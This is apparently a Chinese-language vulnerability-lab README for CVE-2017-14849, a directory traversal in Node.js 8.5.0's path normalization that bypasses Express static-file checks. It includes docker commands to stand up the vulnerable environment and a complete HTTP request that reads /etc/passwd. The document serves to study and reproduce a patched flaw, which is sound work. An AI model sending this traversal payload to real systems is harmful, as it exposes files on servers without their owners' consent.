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node/CVE-2017-14849/README.zh-cn.md
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node/CVE-2017-14849/README.zh-cn.md
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# Node.js 8.5.0 目录穿越漏洞(CVE-2017-14849)
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Node.js 是一个跨平台的开源 JavaScript 运行环境。Node.js 8.5.0 ~ 8.6.0 版本中,由于对“..”处理方式的更改与社区模块使用的路径名验证不兼容,远程攻击者可以访问到非预期以外的文件。
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这个漏洞的原因是 Node.js 8.5.0 对目录进行`normalize`操作时出现了逻辑错误,导致向上层跳跃的时候(如`../../../../../../etc/passwd`),在中间位置增加`foo/../`(如`../../../foo/../../../../etc/passwd`),即可使`normalize`返回`/etc/passwd`,但实际上正确结果应该是`../../../../../../etc/passwd`。
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Express这类web框架,通常会提供了静态文件服务器的功能,这些功能依赖于`normalize`函数。比如,Express在判断path是否超出静态目录范围时,就用到了`normalize`函数,上述BUG导致`normalize`函数返回错误结果导致绕过了检查,造成任意文件读取漏洞。
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当然,`normalize`的BUG可以影响的绝非仅有Express,更有待深入挖掘。不过因为这个BUG是node 8.5.0 中引入的,在 8.6 中就进行了修复,所以影响范围有限。
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参考文档:
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- https://nodejs.org/en/blog/vulnerability/september-2017-path-validation/
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- https://security.tencent.com/index.php/blog/msg/121
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## 漏洞环境
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执行如下命令编译及运行一个基于Node.js 8.5.0和Express 4.15.5的漏洞环境:
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```
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docker compose build
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docker compose up -d
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```
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访问`http://your-ip:3000/`即可查看到一个web页面,其中引用到了文件`/static/main.js`,说明其存在静态文件服务器。
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## 漏洞复现
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发送如下数据包,即可读取passwd文件:
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```
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GET /static/../../../a/../../../../etc/passwd HTTP/1.1
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Host: your-ip:3000
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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```
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